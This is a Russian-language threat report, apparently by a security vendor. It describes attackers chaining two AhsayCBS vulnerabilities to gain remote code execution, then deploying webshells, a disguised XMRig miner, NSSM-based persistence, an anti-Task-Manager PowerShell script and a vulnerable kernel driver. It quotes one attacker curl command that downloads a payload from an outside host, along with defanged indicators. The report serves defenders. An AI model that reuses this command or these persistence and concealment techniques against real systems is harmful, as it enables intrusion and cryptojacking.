Благодарности: Особая благодарность Дипо Родипе, Джону Хэммонду, Сюзанне Мэтт, Бену Нахорни и Линдси Уэлч за их вклад в это расследование и написание отчета. Обновление 10/8/26 @ 18:00 ET После дальнейшего расследования Huntress установила, что Ahsay 10.3.4 также подвержен этим уязвимостям. Предыдущие сообщения указывали на то, что 10.3.4 не подвержен риску; мы обновили этот отчет, чтобы отразить наши выводы. Мы также связались с Ahsay и поделились деталями нашего исследования. Пока патч не будет доступен, мы рекомендуем ограничить доступ к интерфейсу управления и провести расследование на предмет признаков компрометации.
Фон Huntress наблюдает за злоумышленниками, нацеленными на уязвимости в AhsayCBS (Cloud Backup Server), консоли управления для резервного программного обеспечения Ahsay (разработанного компанией Ahsay systems). AhsayCBS в основном используется управляемыми сервисными провайдерами (MSP) и системными интеграторами; он централизует управление резервными операциями, позволяя администраторам создавать и управлять пользователями, настраивать политики резервного копирования и многое другое.
4 октября были выявлены две уязвимости в AhsayCBS:
CVE-2026-105133: Уязвимость средней степени серьезности, затрагивающая функцию checkSysPwd файла com/ahsay/obs/api/ApiStructsAction.java, что может привести к неправильной аутентификации.
CVE-2026-105134: Уязвимость критической степени серьезности, затрагивающая /rps/api/json/UpdateReceivers.do компонента Replication Receiver в AhsayCBS, которая может быть использована для достижения неаутентифицированного удаленного выполнения кода от имени NT AUTHORITY/SYSTEM на хосте. API содержит обход аутентификации, который может позволить случайному токену заменить действительные учетные данные. После эксплуатации злоумышленник настроил вредоносный приемник и загрузил веб-оболочку Java Server Page (JSP) в каталог приложения, обслуживаемый приложением CBS.
Huntress наблюдает, как эти две уязвимости связываются друг с другом, чтобы получить доступ к целевым системам. Сначала используется CVE-2026-105133 для обхода аутентификации. Затем используется CVE-2026-105134 для получения выполнения кода.
Начиная с 2026-10-07 23:20:15 UTC, Huntress наблюдала, как злоумышленники эксплуатируют уязвимости для получения неаутентифицированного удаленного выполнения кода и развертывания веб-оболочек на открытых системах. Изначально мы заметили несколько подозрительных командных строк, возникающих из исполняемых файлов AhsayCBS (cbssvcX64.exe).
Рисунки 1 и 2: Подозрительные дочерние процессы, возникающие из cbssvcX64.exe Ниже мы описываем поведение после эксплуатации, которое было замечено, и наш анализ уязвимостей в попытке помочь защитникам опередить эту угрозу.
Деятельность после эксплуатации В некоторых инцидентах мы видели, как злоумышленники развертывают .jsp веб-оболочки в каталоге веб-приложения сразу после эксплуатации. В нескольких других инцидентах мы наблюдали, как cbssvcX64.exe запускает серию команд для загрузки нескольких файлов в папку %TEMP% или ../AppData/Local/Temp с hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com. К ним относятся Taskgmr.ps1, msedge.exe, edge.exe и config.json.
Криптомайнеры Мы также видели, как злоумышленники запускают операции по криптомайнингу через XMRig, легитимный открытый майнер Monero, который злоумышленники часто устанавливают на скомпрометированных системах, чтобы скрытно потреблять ресурсы ЦП и генерировать криптовалюту для себя. На нескольких конечных точках мы наблюдали, как майнер XMRig (edge.exe), переименованный, чтобы замаскироваться под процесс Microsoft Edge, был загружен в папки Temp, после чего устанавливались сетевые соединения майнера на порту 8029 с пулом XMR (51.195.127[.]124:8029, xmr.kryptex[.]network).
Злоумышленники выполняли PowerShell для изменения config.json в папке Temp, прежде чем создать службу Windows (MicrosoftEdgeUpdateSvc), которая была спроектирована так, чтобы выглядеть похожей на фактическую службу обновления Microsoft Edge (edgeupdate). Эта служба помогла злоумышленникам установить постоянство на конечной точке и была настроена на запуск msedge.exe (одного из файлов, загруженных ранее через команду curl из cbssvcX64.exe) из папки Temp с привилегиями SYSTEM.
Рисунок 3: Результаты VirusTotal для msedge.exe Дальнейшее расследование показало, что msedge.exe является измененной копией легитимной утилиты NSSM. NSSM может поддерживать другие программы, чтобы гарантировать их работу и перезапуск после сбоя или перезагрузки, и злоумышленники в этом инциденте, вероятно, использовали его для поддержания постоянства для edge.exe, маскируя бинарный файл, связанный со службой, под легитимный файл.
Скрипт PS1/Диспетчер задач Taskgmr.ps1, похоже, является скриптом с поддержкой ИИ (с учетом закомментированного кода), который поддерживает операции по криптомайнингу после запуска через curl:
curl -sk -o "C:\Users\ADMINI~1\AppData\Local\Temp\Taskgmr.ps1" "http://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com/javas/Office/win/Taskgmr.ps1" --max-time 60 Этот скрипт имеет несколько встроенных функций против анализа. Например, он постоянно проверяет наличие Диспетчера задач. Если Диспетчер задач открыт, он останавливает MicrosoftEdgeUpdateSvc, чтобы скрыть деятельность по криптомайнингу. Когда Диспетчер задач закрыт, он снова перезапускает его.
Скрипт также завершает работу Диспетчера задач в определенное время (18:00) и если он оставался открытым более одного часа в ночное время. Скрипт использовал локальное время Get-Date конечной точки, а не UTC.
Уязвимый драйвер ядра В одном из инцидентов Huntress наблюдала, как злоумышленники использовали встроенный в Windows certutil.exe для загрузки файла в папку TEMP (C:\Users\REDACTED\AppData\Local\Temp\WinRing0x64.sys) с hxxp://imagefiles-backup.oss-ap-southeast-7.aliyuncs[.]com. WinRing0x64.sys — это известный легитимный, но уязвимый драйвер ядра, который является частью библиотеки WinRing0 (от OpenLibSys) и предоставляет низкоуровневый доступ к аппаратному обеспечению системы. Уязвимые драйверы часто используются в атаках для отключения средств безопасности конечных точек, но в этом случае, похоже, это служило другой цели.
Загружая этот драйвер, злоумышленники позволили майнеру работать с доступом на уровне ядра к базовому оборудованию, поддерживая операцию по криптомайнингу, описанную выше, с максимально возможным контролем и производительностью.